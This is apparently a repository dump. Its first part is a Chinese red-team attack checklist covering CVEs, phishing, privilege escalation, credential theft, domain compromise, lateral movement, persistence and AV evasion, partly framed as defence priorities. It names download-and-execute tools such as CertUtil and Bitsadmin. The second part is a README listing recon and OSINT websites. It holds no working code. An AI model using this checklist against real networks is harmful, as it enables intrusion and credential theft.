| 289 | ``` 290 | 低版本 SQL注入 291 | 控制台弱口令 292 | ``` 293 | 294 | * Nagios 295 | 296 | ``` 297 | CVE-2016-9565 298 | 控制台弱口令 299 | ``` 300 | 301 | * Webmin RCE 302 | 303 | ``` 304 | CVE-2019-15107 305 | ``` 306 | 307 | * PHPMailer 308 | 309 | ``` 310 | CVE-2016-10033 311 | ``` 312 | 313 | * OA系统任意文件上传 314 | * 泛微OA远程代码执行 315 | * 金蝶OA SQL注入 316 | * Coremail 敏感文件泄露 317 | * UEditor 任意文件上传 318 | * OpenSSL心脏滴血抓明文账号密码 \[ Heartbleed ] 319 | * 破壳漏洞 \[ Shellshock ] 320 | * 各种常规Web漏洞利用 \[ 注: 有些漏洞在不审代码的情况下其实是很难有效盲测到的 ] 321 | 322 | ``` 323 | 后台弱口令 324 | SSRF 325 | sql注入 326 | 越权 327 | 命令 / 代码执行 / 反序列化 328 | 任意文件上传 / 下载 / 读取 329 | 包含 330 | XSS（实际上,XSS只有在针对某些特定邮箱,手里有浏览器0day时价值才会比较大,红队场景下其实并不是非常致命) 331 | 业务逻辑漏洞 332 | ``` 333 | 334 | * 针对各类边界网络设备的各种利用,主要是Web管理控制台登录弱口令 及 各类已知nday攻击利用 335 | * Pulse Secure VPN 336 | 337 | ``` 338 | CVE-2019-1151 [ 任意文件读取 ] 339 | ``` 340 | 341 | * Fortinet VPN 342 | 343 | ``` 344 | CVE-2018-13379 [ 文件读取 ] 345 | ``` 346 | 347 | * Sangfor Vpn RCE 348 | 349 | ## 0x03 入口权限获取 \[ 基础服务 ] 350 | 351 | 专门针对各类基础服务端口的各种getshell利用，防御重点 ( "重中之重" ) 352 | 353 | ``` 354 | 此处仅仅只挑选了一些实战中真正能协助快速getshell的服务,其它的一些相对边缘性的服务均未提及 355 | 同样,已按 "实际攻击利用的难易程度" 及 "获取到的shell权限高低" 为标准进行了详细排序 356 | 如下,就每个端口的具体攻击利用方式,进行了简要说明 357 | ``` 358 | 359 | * Top Port List 360 | 361 | ``` 362 | Mssql [ 默认工作在tcp 1433端口, 弱口令, 敏感账号密码泄露, 提权, 远程执行, 后门植入 ] 363 | SMB [ 默认工作在tcp 445端口, 弱口令, 远程执行, 后门植入 ] 364 | WMI [ 默认工作在tcp 135端口, 弱口令, 远程执行, 后门植入 ] 365 | WinRM [ 默认工作在tcp 5985端口, 此项主要针对某些高版本Windows, 弱口令, 远程执行, 后门植入 ] 366 | RDP [ 默认工作在tcp 3389端口, 弱口令, 远程执行, 别人留的shift类后门 ] 367 | SSH [ 默认工作在tcp 22端口, 弱口令, 远程执行, 后门植入 ] 368 | ORACLE [ 默认工作在tcp 1521端口, 弱口令, 敏感账号密码泄露, 提权, 远程执行, 后门植入 ] 369 | Mysql [ 默认工作在tcp 3306端口, 弱口令, 敏感账号密码泄露, 提权(只适用于部分老系统) ] 370 | REDIS [ 默认工作在tcp 6379端口, 弱口令, 未授权访问, 写文件(webshell,启动项,计划任务), 提权 ] 371 | POSTGRESQL[ 默认工作在tcp 5432端口, 弱口令, 敏感信息泄露 ] 372 | LDAP [ 默认工作在tcp 389端口, 未授权访问, 弱口令, 敏感账号密码泄露 ] 373 | SMTP [ 默认工作在tcp 25端口, 服务错误配置导致的用户名枚举漏洞, 弱口令, 敏感信息泄露 ] 374 | POP3 [ 默认工作在tcp 110端口, 弱口令, 敏感信息泄露 ] 375 | IMAP [ 默认工作在tcp 143端口, 弱口令, 敏感信息泄露 ] 376 | Exchange [ 默认工作在tcp 443端口, 接口弱口令爆破 eg: Owa,ews,oab,AutoDiscover... pth脱邮件, 敏感信息泄露 ... ] 377 | VNC [ 默认工作在tcp 5900端口, 弱口令 ] 378 | FTP [ 默认工作在tcp 21端口, 弱口令, 匿名访问/可写, 敏感信息泄露 ] 379 | Rsync [ 默认工作在tcp 873端口, 未授权, 弱口令, 敏感信息泄露 ] 380 | Mongodb [ 默认工作在tcp 27017端口, 未授权, 弱口令 ] 381 | TELNET [ 默认工作在tcp 23端口, 弱口令, 后门植入 ] 382 | SVN [ 默认工作在tcp 3690端口, 弱口令, 敏感信息泄露 ] 383 | JAVA RMI [ 默认工作在tcp 1099端口, 可能存在反序列化利用 ] 384 | CouchDB [ 默认工作在tcp 5984端口, 未授权访问 ] 385 | ``` 386 | 387 | ## 0x04 入口权限获取 \[ 钓鱼攻击 ] 388 | 389 | 传统钓鱼攻击利用，实际护网场景中用的非常频繁，细节非常多，此处不一一列举，防御重点 390 | 391 | * 发信前期准备 392 | 393 | ``` 394 | 枚举有效的目标邮箱用户名列表 395 | 批量探测目标邮箱弱口令 396 | 伪造发信人 [ 发信邮服搭建 ] 397 | 钓鱼信 [ 针对不同行业一般也都会事先准备好各种各样的针对性的发信话术模板,以此来提到实际发信成功率 ] 398 | ``` 399 | 400 | * 典型投递方式 401 | 402 | ``` 403 | 第一种,直接给目标发送各种常规木马信 404 | 405 | 传统宏利用 406 | 捆绑 407 | exe[zip,7z] 408 | lnk 409 | chm 410 | 自解压 411 | 木马链接 412 | OLE 413 | CVE-2017-11882 [ 利用漏洞触发 ]... 414 | ``` 415 | 416 | ``` 417 | 第二种,给目标发送各种钓鱼链接,比如, 利用各种目标登录口的钓鱼页面来窃取各种内网账号密码 418 | 419 | Vpn 420 | Mail 421 | OA 422 | Net ntlm hash [ 远程模板注入,pdf...钓hash,国内ISP过滤SMB流量不适用 ] 423 | ... 424 | ``` 425 | 426 | ## 0x05 主机安全 \[ 提权利用 ] 427 | 428 | 防御重点 429 | 430 | ``` 431 | 以下只单独挑了一些在 通用性, 稳定性, 易用性, 实际成功率 都相对较好的洞 和 方式 其它的一些"边缘性"的利用都暂未提及 432 | ``` 433 | 434 | * Windows 系统漏洞 本地提权 \[ 成功的前提是,保证事先已做好各种针对性免杀 ] 435 | 436 | ``` 437 | BypassUAC [ win7 / 8 / 8.1 / 10 ] 438 | MS14-058[KB3000061] [重点] 439 | MS14-068[KB3011780] [重点] 440 | ms15-051[KB3045171] [重点] 441 | MS15-077[KB3077657] [重点] 442 | MS16-032[KB3124280] [重点] 443 | ms16-075 [重点] 444 | MS16-135[KB3199135] [重点] 445 | MS17-010[KB4013389] [重点] 446 | cve-2019-0708 [重点] 447 | CVE-2019-0803 [重点] 448 | CVE-2019-1322 & CVE-2019-1405 [重点] 449 | ``` 450 | 451 | * linux 内核漏洞 本地提权 \[ linux-exploit-suggester ] 452 | 453 | ``` 454 | CVE-2016-5195 [重点] 455 | CVE-2017-16995 456 | CVE-2019-13272 457 | ``` 458 | 459 | * 利用各类第三方服务 / 软件工具提权 460 | 461 | ``` 462 | Mssql [重点] 463 | Oracle [重点] 464 | Mysql 465 | 各类第三方软件dll劫持 [重点] 466 | suid权限 467 | 计划任务 468 | 各种错误服务配置 469 | ``` 470 | 471 | ## 0x06 内网安全 \[ 敏感信息搜集 ] 472 | 473 | 防御重点，可在此项严格限制各种系统内置命令执行 474 | 475 | * 搜集当前已控"跳板机"的各类敏感信息 476 | 477 | ``` 478 | 注: 如下某些操作肯定是需要事先自己想办法先拿到管理权限后才能正常进行的,此处不再赘述 479 | 480 | 查看当前shell权限 及 详细系统内核版本 481 | 获取当前系统的 详细ip配置,包括 所在域, ip, 掩码, 网关, 主备 dns ip 482 | 获取当前系统最近的用户登录记录 483 | 获取当前用户的所有命令历史记录 [ 主要针对linux,里面可能包含的有各类敏感账号密码,ip,敏感服务配置... ] 484 | 获取本机所有 服务/进程 [包括各个进程的详细权限,也包括目标系统中的可疑恶意进程(有可能是同行的马)]/端口/网络连接信息 485 | 获取本机所用杀软 / 监控种类 [ 后续好针对性的做免杀 ] 486 | 获取本机 rdp / ssh 端口开启状态 及 其默认端口号 487 | 获取本机所有用户的rdp外连记录 488 | 获取本机的所有SSH登录记录 489 | 获取当前系统所有登录成功的日志 [ 针对windows ] 490 | 获取本机所有已安装软件的详细列表 [ 主要为抓密码,提权,留后门做准备 ] 491 | 获取本机各个浏览器中保存的 所有书签页 及 历史浏览记录 492 | 获取当前用户创建的所有计划任务列表 及 计划任务所对应的执行脚本内容 [ 有些执行脚本中很可能存的有各种连接账号密码 ] 493 | 获取当前用户 桌面 及 回收站 里的所有文件列表 494 | 获取当前系统的所有存在suid权限的二进制程序 495 | 获取当前系统代理 [ ip & 端口 ] 496 | 获取当前系统所有的自启动注册表项值 497 | 获取当前系统的所有 ipc 连接 及 已启用共享 498 | 获取当前系统的所有挂载[mount] 499 | 获取当前系统的防火墙状态 500 | 获取当前系统所有分区/盘符及其详细使用情况 501 | 获取本机的累计开机时长 502 | 获取本机arp / dns缓存 503 | 获取当前机器环境变量 [ 主要想看看目标机器上有无python,jdk,ruby...等语言的执行环境,后期可设法利用 ] 504 | 获取当前系统所有本地用户及组列表 505 | 获取当前系统host文件内容 506 | 获取当前机器硬件设备信息[ 主要为判断当前机器是否为虚拟机 ] 507 | 远程截屏捕捉目标用户敏感操作 508 | 509 | 由于上述大部分的搜集动作都是基于系统内置工具和接口,故,可完全依靠EDR来实时捕捉各类敏感进程上报恶意操作 510 | ``` 511 | 512 | * 利用当前已控 "跳板机", 分析目标内网大致拓扑 及 所有关键性业务机器分布 513 | * 批量抓取内网所有windows机器名 和 所在 "域" / "工作组名" \[smb探测扫描] 514 | * 针对内网的各种高危敏感服务定位\["安全" 端口扫描 (在避免对方防护报警拦截的情况下进行各种常规服务探测识别)] 515 | * 内网批量 Web Banner 抓取,获取关键目标业务系统如下 516 | 517 | ``` 518 | 内网各种文件[共享]服务器 519 | 内网各类web服务器 [ 可用于后期留入口 ] 520 | 内网各类数据库服务器 521 | 内网邮件服务器 [ 可用于后期留入口 ] 522 | 内网Vpn服务器 [ 可用于后期留入口 ] 523 | 内网各类常规资产状态监控服务器,eg: zabbix,nagios,cacti... 524 | 内网各类防护的主控端,比如,防火墙,EDR,态势感知 产品的web主控端... 525 | 内网日志服务器 526 | 内网补丁服务器 527 | 内网各类OA,ERP,CRM,SRM,HR系统... 528 | 内网打印服务器 529 | 内网 MES 系统 530 | 内网虚拟化服务器 / 超融合平台 [Vmware ESX] 531 | 内网堡垒机... 532 | 内网运维,研发 部门员工的机器 533 | 内网路由,交换设备... 534 | 等等等... 535 | ``` 536 | 537 | ``` 538 | 针对以上的各种内网探测扫描,其实在流量上都会有非常清晰的表现 539 | 通过在一些关键节点设备/服务器上部署探针搜集流量,再配合大数据关联分析查找各种敏感特征,理论上是相对容易发现各类扫描探测痕迹的 540 | ``` 541 | 542 | * 针对各类已知系统高危RCE漏洞的批量探测识别与利用 543 | 544 | ``` 545 | MS08-067 [ 其实,某些特殊行业的系统可能非常老,极少更新,故,还是有存在的可能 ] 546 | MS17-010 547 | CVE-2019-0708 548 | 549 | 其实针对此类漏洞的攻击利用识别,就显得比较直白了 550 | 通过深入分析每种漏洞在实际攻击利用过程所产生的一些典型 流量特征 和 系统日志即可大致判断 551 | ``` 552 | 553 | ## 0x07 内网安全 \[ 各类敏感凭证 "搜集" 与 "窃取" ] 554 | 555 | * 主动密码搜集 556 | 557 | ``` 558 | 注:如下某些操作肯定是需要事先自己想办法先拿到管理权限或者在指定用户权限下才能正常进行的 559 | 此处不再赘述, 此项非防御重点, 因为压根也不好防 560 | 561 | 批量抓取当前机器上的 "各类基础服务配置文件中保存的各种账号密码" 562 | 比如,各种数据库连接配置文件,各类服务自身的配置文件(redis,http basic...)... 563 | 想办法 "控制目标 运维管理 / 技术人员 的单机,从这些机器上去搜集可能保存着各类敏感网络资产的账号密码表" 564 | 比如, *.ls,*.doc,*.docx, *.txt.... 565 | 抓取各类 "数据库客户端工具中保存各种数据库连接账号密码 566 | 比如,Navicat,SSMS[MSSQL自带客户端管理工具,里面也可能保存的有密码(加密后的base64)] 567 | 568 | 抓取当前系统 "注册表中保存的各类账号密码hash" [ Windows ] 569 | 抓取当前系统所有 "本地用户的明文密码/hash" [ Windows & linux ] 570 | 抓取当前系统的所有 "用户token" [ Windows ] 571 | 抓取 "windows凭据管理器中保存的各类连接账号密码" 572 | 抓取 "MSTSC 客户端中保存的所有rdp连接账号密码" 573 | 抓取各类 "VNC客户端工具中保存的连接密码" 574 | 抓取 "GPP目录下保存的各类账号密码" [ 包括组策略目录中XML里保存的密码hash 和 NETLOGON目录下的某些脚本中保存的账号密码 ] 575 | 抓取各类 "SSH客户端工具中保存的各种linux系统连接账号密码", SecureCRT,Xshell,WinSCP,putty 576 | 抓取各类 "浏览器中保存的各种web登录密码",Chrome [360浏览器],Firefox,IE,QQ浏览器 577 | 抓取各类 "数据库表中保存的各类账号密码hash" 578 | 抓取各类 "FTP客户端工具中保存的各种ftp登录账号密码", filezila, xftp... 579 | 抓取各类 "邮件客户端工具中保存的各种邮箱账号密码", forxmail, thunderbird... 580 | 抓取各类 "SVN客户端工具中保存的所有连接账号密码及项目地址" 581 | 抓取各类 "VPN客户端工具中保存的各种vpn链接账号密码" 582 | ``` 583 | 584 | * 被动密码搜集\[注: 某些操作肯定是需要事先自己想办法先拿到管理权限后才能正常进行的, 此处不再赘述 , 是防御重点] 585 | 586 | ``` 587 | Windows SSP [持久化/内存] 588 | Hook PasswordChangeNotify [持久化/内存] 589 | OWA 登录账号密码截获 590 | 截获mstsc.exe中输入的rdp连接账号密码 591 | linux 别名记录利用 592 | 本机密码嗅探 [http,ftp,pop3...] 593 | 传统键盘记录 594 | windows蓝屏技巧 [此操作主要为应对不时之需] 595 | ``` 596 | 597 | * Hash爆破: 598 | 599 | ``` 600 | Hashcat [完全拼GPU] 601 | ``` 602 | 603 | ## 0x08 内网安全 \[ 隧道 转发 代理 穿透 ] 604 | 605 | 提炼汇总 ，防御重点 606 | 607 | ``` 608 | 出网流量刺探 609 | 比如,http,dns,以及一些穿透性相对较好的tcp端口... 610 | 这种操作一般都会配合wmi,smb,ssh远程执行,在内网批量快速识别出能出网的机器 611 | 612 | 常规http脚本代理 613 | abptts,Neo-reGeorg,reGeorg,tunna,reduh... 614 | 不得不说,公开脚本在实战中多多少少都会有些问题,还需要根据自己的实际目标环境深度改进才行 615 | 616 | SSH隧道 617 | 加密端口转发,socks 实战用途非常灵活,此处不细说 ] 618 | 619 | Rdp隧道 620 | 621 | 反向socks5 622 | nps, frp, ssf, CobaltStrike(socks4a & rportfwd ), sscoks ... 623 | 工具基本都不免杀了,需要自行处理 624 | 625 | 正反向tcp端口转发 626 | 非常多,就不一一列举, eg: nginx,netsh,socat,ew.... 627 | 628 | dns加密隧道 629 | 630 | Web端口复用 631 | 632 | 需要明白的是,红队场景中 633 | 入侵者为了尽可能躲避各种检测设备的流量解析,很多此类工具都会采用各种各样的方式来加密传输流量,以此来保证自己有更强的穿透性 634 | ``` 635 | 636 | ## 0x09 域内网安全 \[ 域内渗透 ] 637 | 638 | 提炼汇总，防御重点 639 | 640 | * 针对当前域的一些常规信息搜集\[ 其实现实中,只需要一个BloodHound & Pingcastle足矣,就是工具需要自行事先免杀好] 641 | 642 | ``` 643 | 获取当前域内的完整域管列表 644 | 获取当前域内的所有域控机器名列表 645 | 获取当前域内的所有DNS服务器机器名列表 646 | 获取当前域内的所有SPN 647 | 获取当前域内的所有OU 648 | 获取当前域内的所有用户 & 用户组列表 649 | 获取当前域信任关系 [ 跨域渗透 ] 650 | 获取当前域内所有机器的开机时间 651 | 获取当前域内网段及web站点 652 | 获取当前域内策略[主要为了解密码登录策略] 653 | 获取当前域林 654 | ....... 655 | ``` 656 | 657 | * 快速获取目标域控权限的一些常规手法 658 | 659 | ``` 660 | 搜集GPP 目录 [ 其中可能保存的有域账号密码,不仅仅是存在XML里的那些,NETLOGON目录中的某些脚本同样也可能保存有账号密码 ] 661 | 服务票据hash破解,"尤其是域管用户的" [kerberoast] 662 | 批量对域用户进行单密码尝试 [ 喷射,利用ADSI接口,日志id 4771 ] 663 | Kerberos 委派利用 664 | 爆破LDAP 665 | Exchange特定ACL滥用 666 | SSP 截获关键服务器登录密码 667 | 利用各类基础服务在内网快速 getshell [ 弱口令, 各类JAVA中间件已知Nday漏洞, 常规Web漏洞... ],在内网循环抓各类密码,直至 668 | 抓到域管密码 669 | 抓到域管令牌 670 | DNSAdmin 组成员滥用 [ 加载执行恶意dll ] 671 | LAPS 672 | MS14-068 [ 如今实际中已很少遇到了 ] 673 | LLMNR/NBNS欺骗 + SMB relay [ 真实实战中其实用的并不多 ] 674 | ``` 675 | 676 | * 域内后渗透敏感信息搜集分析 677 | 678 | ``` 679 | 获取所有DNS记录 680 | 导出当前域的完整LDAP数据库 681 | 提取当前域的ntds.dit [ 域内账号密码数据库 ] 682 | Dcsync同步 683 | Volume Shadow Copy Service 684 | ``` 685 | 686 | * 域内指定用户登录ip定位 687 | 688 | ``` 689 | 利用OWA登录日志 690 | 利用域控服务器登录日志 691 | 指定服务银票 [Silver Ticket] 692 | 除此之外,就是下面的各类常规横向手法 693 | ``` 694 | 695 | * 域内指定用户机器定向控制技巧 696 | 697 | ``` 698 | 绑定用户登录脚本 699 | 利用GPO下发 [实际上GPO能做的事情还非常非常多] 700 | PTT[票据传递] 701 | ``` 702 | 703 | * 针对域管的各种权限维持技巧 704 | 705 | ``` 706 | 金票 707 | Skeleton Key 708 | DSRM密码同步 709 | OWA后门 710 | ... 711 | ``` 712 | 713 | * 域内Exchange 邮件数据脱取 714 | 715 | ``` 716 | 利用Ews接口通过PTH的方式脱邮件 717 | ``` 718 | 719 | ## 0x10 内网安全 \[ 跨平台横向 ] 720 | 721 | 防御重点 ( "重中之重" ) 722 | 723 | * 从 Windows平台 横向至 Windows平台 724 | 725 | ``` 726 | 注: 以下某些远程执行方式, 即可直接用明文账号密码 亦可 基于pth来进行, 不局限 727 | 728 | 远程服务管理 [ SCM ] 729 | 远程创建执行计划任务 [ Scheduled Tasks ] 730 | WMI 远程执行 [ WMI ] 731 | 针对高版本Windows 的WinRM 远程执行 732 | DCOM 远程执行 [ 需要目标Windows机器事先已关闭防火墙 ] 733 | 高版本 RDP 远程执行 734 | 利用MSSQL数据库存储过程来变相远程执行 735 | 利用Oracle数据库存储过程来变相远程执行 736 | SMB [ PTH (hash传递) ] 737 | RDP[MSTSC] 反向渗透 [ 即可用于突破某些隔离, 亦可通过云(Windows vps)直接反控到目标管理员个人机 ] 738 | 利用补丁服务器下发执行 739 | 利用EDR主控端定向下发执行 740 | ``` 741 | 742 | * 从 Windows平台 横向至 \*inux平台 743 | 744 | ``` 745 | plink 或者 基于Windows SSH库自行开发各种远程执行小工具 746 | ``` 747 | 748 | * 从 \*inux平台 横向至 Windows 平台 749 | 750 | ``` 751 | 一般都会将 impacket套件中的各个常用py脚本事先直接打包成可执行文件, 然后丢到目标linux系统中去执行,如下 752 | wmiexec_linux_x86_64 753 | smbexec_linux_x86_64 754 | psexec_linux_x86_64 755 | atexec_linux_x86_64 756 | dcomexec_linux_x86_64 757 | 758 | 另外,还有一些基于go的工具,同样也可以编译成可执行文件之后再丢上去执行 759 | ``` 760 | 761 | * 从 _inux平台 横向至_ inux 平台 762 | 763 | ``` 764 | linux 自带的ssh客户端工具套件, 默认就可以用来进行远程执行 765 | ``` 766 | 767 | * 各种远程下载技巧 768 | 769 | ``` 770 | wget.exe [win & linux] 771 | curl.exe [win & linux] 772 | ``` 773 | 774 | ``` 775 | 之所以没着重提以下这些系统内置远程下载执行工具,主要还是因为事先已经明确知道 776 | 某些杀软下它肯定会被拦截,所以事先就直接把它弃用了,尤其针对护网这种场景,这些东西根本不在乎多,有一个能用好用的即可 777 | 778 | CertUtil.exe 779 | Bitsadmin.exe 780 | Regsvr32.exe 781 | Rundll32.exe 782 | Powershell.exe 783 | ...... 784 | ``` 785 | 786 | ## 0x11 内网安全 \[ 权限维持 ] 787 | 788 | 防御重点 \[ 注: 有些细节此处并未展开详细说明 ] 789 | 790 | * 边界入口权限维持 791 | 792 | ``` 793 | OWA 登录口 [账号密码,webshell] 794 | VPN 登录口 [账号密码,shell] 795 | 其他 MAIL 登录口 [账号密码] 796 | 边界 Web服务器 [Webshell 驻留技巧] 797 | 边界路由交换设备 [账号密码,shell] 798 | ... 799 | ``` 800 | 801 | * Windows 单机系统维持 \[临时] 802 | 803 | ``` 804 | 系统计划任务 [高权限/低权限] 805 | 常规注册表自启动项 [用户权限/system权限] 806 | Mssql存储过程 [继承服务权限] 807 | WMI 808 | Winlogon 809 | CLR 810 | Logon Scripts 811 | MruPidlList 812 | Mof 813 | 传统远控 814 | ... 815 | ``` 816 | 817 | * linux 单机系统维持 \[临时] 818 | 819 | ``` 820 | Patch SSH 821 | 替换so [PAM,Nginx,Rsync ...] 822 | 系统计划任务 823 | 传统应用层远控 824 | 驱动层远控 825 | ``` 826 | 827 | ## 0x12 各类常用 C2 / 渗透 框架 828 | 829 | ``` 830 | CobaltStrike 831 | beacon逆向/改进重写 832 | Metasploit 833 | Empire 834 | ...... 835 | ``` 836 | 837 | ## 0x13 各类常用 Webshell管理工具 838 | 839 | ``` 840 | 菜刀 caidao20160622 841 | 冰蟹 Behinder_v2.0.1 842 | 蚁剑 AntSword 843 | ...... 844 | ``` 845 | 846 | ## 0x14 免杀 及 各类防火墙对抗 847 | 848 | * 静态 849 | 850 | ``` 851 | 常规混淆: 852 | 人工混淆,有源码的情况下,尝试逐个替换可能是关键特征字符串的 命名空间名, 函数名, 变量名, 字符串 等等等.... 853 | 工具混淆,针对各种语言的专业混淆工具[有商业版] 854 | ... 855 | ``` 856 | 857 | * 加壳 858 | 859 | ``` 860 | 一些常用公开壳的实际效果可能并不是太好[也有商业壳] 861 | 最好的方式还是尝试自己写壳,就是成本较高 862 | ``` 863 | 864 | * 动态 865 | 866 | ``` 867 | 反射 868 | shellcode 加密执行 869 | ...... 870 | ``` 871 | 872 | * 流量: 873 | 874 | ``` 875 | 域前置[利用大厂cdn] 876 | DNS加密隧道 877 | 第三方公共邮箱上线 878 | 第三方网盘上线 879 | 第三方社交网站上线 880 | 第三方匿名社交工具上线[eg: tg机器人,tor...] 881 | ``` 882 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | --- 2 | description: 在线工具集合 3 | --- 4 | 5 | # 在线工具 6 | 7 | ``` 8 | ,----------------, ,---------, 9 | ,-----------------------, ," ,"| 10 | ," ,"| ," ," | 11 | +-----------------------+ | ," ," | 12 | | .-----------------. | | +---------+ | 13 | | | C:\>whoami | | | | -==----'| | 14 | | | | | | | | | 15 | | | | | |/----|`---= | | 16 | | | | | | ,/|==== ooo | ; 17 | | | | | | // |(((( [33]| ," 18 | | `-----------------' |," .;'| |(((( | ," 19 | +-----------------------+ ;; | | |," 20 | /_)______________(_/ //' | +---------+ 21 | ___________________________/___ `, 22 | / oooooooooooooooo .o. oooo /, \,"----------- 23 | / ==ooooooooooooooo==.o. ooo= // ,`\--{)B ," 24 | /_==__==========__==_ooo__ooo=_/' /___________," 25 | `-----------------------------' 26 | ``` 27 | 28 | ## 信息收集 29 | 30 | ### 综合信息 31 | 32 | [微步在线威胁情报社区](https://x.threatbook.cn) 33 | 34 | [VirusTotal](https://www.virustotal.com/gui/home/url) 35 | 36 | [RiskIQ Community Edition](https://community.riskiq.com/home) 37 | 38 | [AlienVault - Open Threat Exchange](https://otx.alienvault.com/) （快速查询子域相关） 39 | 40 | [talosintelligence.com](https://talosintelligence.com) （收集企业邮服等信息） 41 | 42 | [Intelligence X](https://intelx.io) （信息泄露） 43 | 44 | [Crunchbase Company Profile & Funding](https://www.crunchbase.com/organization/google) （国外企业） 45 | 46 | [OpenCorporates :: The Open Database Of The Corporate World](https://opencorporates.com/) （国外企业） 47 | 48 | [风鸟-企业查询平台-轻松查企业-查失信-查法人-企业信用-工商查询](https://www.riskbird.com/) （国内企业-免费） 49 | 50 | [爱企查-工商查询\_专业企业信息查询平台\_公司查询\_老板查询\_工商信息查询系统](https://www.aiqicha.com/) 51 | 52 | [企查查 - 查企业\_查老板\_查风险\_企业信息查询系统](https://www.qcc.com/) 53 | 54 | ### 搜索引擎 55 | 56 | [Google搜索](https://www.google.com) 57 | 58 | [Bing搜索](https://www.bing.com) 59 | 60 | [Baidu搜索](https://www.baidu.com) 61 | 62 | [Shodan网络空间搜索引擎](https://www.shodan.io) 63 | 64 | [FOFA Pro - 网络空间安全搜索引擎，网络空间搜索引擎，网络空间测绘，安全态势感知](https://fofa.so) 65 | 66 | [ZoomEye - 网络空间搜索引擎](https://www.zoomeye.org) 67 | 68 | [Spyse — Internet Assets Search Engine](https://spyse.com/) 69 | 70 | [LeakIX](https://leakix.net/) 71 | 72 | [FullHunt | Expose Your Attack Surface](https://fullhunt.io/) 73 | 74 | [QAXhunter](https://hunter.qianxin.com/)[全球鹰](https://hunter.qianxin.com/) 75 | 76 | [360网络空间测绘Quake](https://quake.360.net/) 77 | 78 | [Hunter Search Engine](https://hunter.how/) 79 | 80 | [腾讯云安全\_威胁情报中心](https://tix.qq.com/) (dns数据全) 81 | 82 | [奇安信威胁情报中心](https://ti.qianxin.com/) (dns数据全) 83 | 84 | 85 | 86 | [Google Hacking Database](https://www.exploit-db.com/google-hacking-database) 87 | 88 | [进阶Google搜索](https://w-e-b.site/?act=google-search) 89 | 90 | [Google Hacking](https://www.0xll.cc/google_hack.html) （快捷/github/pastbin） 91 | 92 | [Bug Bounty Helper](https://dorks.faisalahmed.me) （Google Hacking） 93 | 94 | [Public Buckets by GrayhatWarfare](https://buckets.grayhatwarfare.com/) （公共存储桶搜索） 95 | 96 | [recon.cloud](https://recon.cloud/)（在线搜索目标网站下的云资产） 97 | 98 | ### 子域/IP/旁站C段 99 | 100 | #### 子域发现 101 | 102 | **基于DNS** 103 | 104 | [The World's Largest Repository of Historical DNS data](https://securitytrails.com)（综合型-推荐） 105 | 106 | [Welcome to Robtex!](https://www.robtex.com)（综合型-推荐） 107 | 108 | [RapidDNS Rapid DNS Information Collection](https://rapiddns.io) （推荐） 109 | 110 | [bufferover](https://dns.bufferover.run/dns?q=baidu.com) （推荐） 111 | 112 | [DNSdumpster.com](https://dnsdumpster.com) （推荐） 113 | 114 | [searchdns.netcraft.com](https://searchdns.netcraft.com)（推荐） 115 | 116 | [搜索网站的所有子域](https://suip.biz/?act=amass) 117 | 118 | [即时搜索任何站点的子域](https://w-e-b.site/?act=findomain)（接口多速度快） 119 | 120 | [在线调查工具 - 反向IP，NS，MX，WHOIS和搜索工具](https://dnslytics.com)（综合型） 121 | 122 | [DNSDB-历史DNS查询](https://dnsdb.io/zh-cn/) 123 | 124 | [IP History - ViewDNS.info](https://viewdns.info/iphistory/?domain=www.baidu.com) 125 | 126 | **基于证书** 127 | 128 | [crt.sh - 证书搜索](https://crt.sh) 129 | 130 | [网络上的 HTTPS 加密 – Google 透明度报告](https://transparencyreport.google.com/https/certificates) 131 | 132 | [Censys.io](https://censys.io/certificates)（综合型） 133 | 134 | **基于爆破** 135 | 136 | [在线子域名爆破-Domain fuzz](https://phpinfo.me/domain/) 137 | 138 | [在线子域名爆破-子成君提供](http://z.zcjun.com) 139 | 140 | #### IP-/-探测 141 | 142 | [域名查ip、ip反查域名](http://site.ip138.com) 143 | 144 | [nslookup查询](http://tool.chinaz.com/nslookup/) 145 | 146 | [多个地点Ping服务器,网站测速 - 站长工具](http://ping.chinaz.com) 147 | 148 | [同IP网站查询，同服务器网站查询 - 站长工具](http://stool.chinaz.com/same) 149 | 150 | [Reverse IP Lookup - Find All Hosts Sharing An IP Address](https://www.ipaddress.com/reverse-ip-lookup) 151 | 152 | [Ping查询\_专业的 IP 地址库\_IPIP.NET](https://tools.ipip.net/ping.php) 153 | 154 | [网站IP地址查询\_批量查询网站IP地址\_买链帮手,网站批量查询工具](http://www.link114.cn/ip/)（支持批量ip查询） 155 | 156 | [发现隐藏在CloudFlare背后的坏人](http://www.crimeflare.org:82/cfs.html)（CloudFlare老外ip数据库） 157 | 158 | #### 旁站C段 159 | 160 | [Chinaz-同IP网站查询，同服务器网站查询](http://s.tool.chinaz.com/same) 161 | 162 | [BGPView - BGP Toolkit and BGP ASN Routing Lookup Tool](https://bgpview.io/) 163 | 164 | [Hurricane Electric BGP Toolkit](https://bgp.he.net) （根据企业名确定ASN号得到企业IP资产） 165 | 166 | [Online investigation tool - Reverse IP, NS, MX, WHOIS and Search Tools](https://dnslytics.com/) （ASN） 167 | 168 | [ASN/IP Whois Query | IPInsight.io](https://whois.ipinsight.io/) （ASN） 169 | 170 | 可用子域发现->DNS->综合型 171 | 172 | #### 模糊匹配 173 | 174 | [Domain Name Search Engine - Namedroppers](https://www.namedroppers.com/) 175 | 176 | ### 邮箱采集 177 | 178 | [红队测试之邮箱打点](https://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==\&mid=2247483886\&idx=1\&sn=4c98836e278737054a2d32416007fa27\&chksm=9b39275fac4eae490e0c5ca5f90887aa3b8a441f137d18d3b73470ba46577b41ea3a9cfa1342\&mpshare=1\&scene=23\&srcid=\&sharer_sharetime=1589279316797\&sharer_shareid=596f231001c1b1188da61ae064765cc8#rd)（推荐[theHarvester](https://github.com/laramies/theHarvester)） 179 | 180 | [红队选手是如何收集邮箱的](https://mp.weixin.qq.com/s/GbyKmTiiWh8amTQ6Vv0kgQ) （推荐[snov.io](https://snov.io)） 181 | 182 | [Phonebook.cz - Intelligence X](https://phonebook.cz) 183 | 184 | [搜邮箱- 搜邮箱](https://souyouxiang.com)（推荐） 185 | 186 | [RocketReach - 为任何人查找电子邮件、电话和社交媒体链接](https://rocketreach.co) 187 | 188 | [LinkedIn](https://www.linkedin.com) 189 | 190 | [微匹-邮箱](http://veryvp.com/Emailgo/index) 191 | 192 | [Find email addresses in seconds • Hunter (Email Hunter)](https://hunter.io) 193 | 194 | [Find email addresses of companies and people - Skymem](http://www.skymem.info) 195 | 196 | [Search for domains | Email Format](https://www.email-format.com/i/search/) 197 | 198 | [Free 